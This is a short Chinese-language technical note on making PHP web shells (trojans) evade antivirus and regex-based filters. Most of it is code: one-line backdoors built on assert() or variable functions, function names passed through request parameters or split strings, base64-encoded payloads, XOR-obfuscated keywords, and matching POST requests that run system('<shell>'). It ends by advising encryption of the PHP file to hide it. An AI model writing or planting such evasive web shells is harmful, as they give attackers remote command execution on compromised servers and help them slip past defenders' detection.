【笔记】PHP木马免杀

前言

PHP木马免杀

更换函数绕过

  • 如果通过正则拦截了部分函数,可以修改其他可用的函数

如使用assert()代替eval()

1
assert($_REQUEST['x']);
request
1
2
3
4
POST /index.php
Content-Type: application/x-www-form-urlencoded

x=system('<shell>');

穿参绕过

  • 如果通过正则拦截了所有可用的函数名,可以通过请求参数传递函数名
1
2
$a=$_GET['a'];
$a($_POST['x']);
request
1
2
3
4
POST /index.php?a=assert
Content-Type: application/x-www-form-urlencoded

x=system('<shell>');

分断穿参

1
2
3
$a=$_GET['a'];
$b=$a.'ert';
$b($_POST['x']);
request
1
2
3
4
POST /index.php?a=ass
Content-Type: application/x-www-form-urlencoded

x=system('<shell>');

请求参数编解码绕过

  • 传递参数时候传递已编码的字符串,解析参数时还原已编码的字符串
1
2
$a=$_GET['a'];
$a(base64_decode($_POST['x']));
request
1
2
3
4
POST /index.php?a=assert
Content-Type: application/x-www-form-urlencoded

x=<base64>

代码编码绕过

  • 将所有代码中可能被拦截的关键字,用异或运算的结果代替英文字母
1
2
$a=('!'^'@').ssert;
$a($_POST['x']);
request
1
2
3
4
POST /index.php
Content-Type: application/x-www-form-urlencoded

x=system('<shell>');

代码加密绕过

  • 在其他平台使用在线加密php文件的平台将代码加密

完成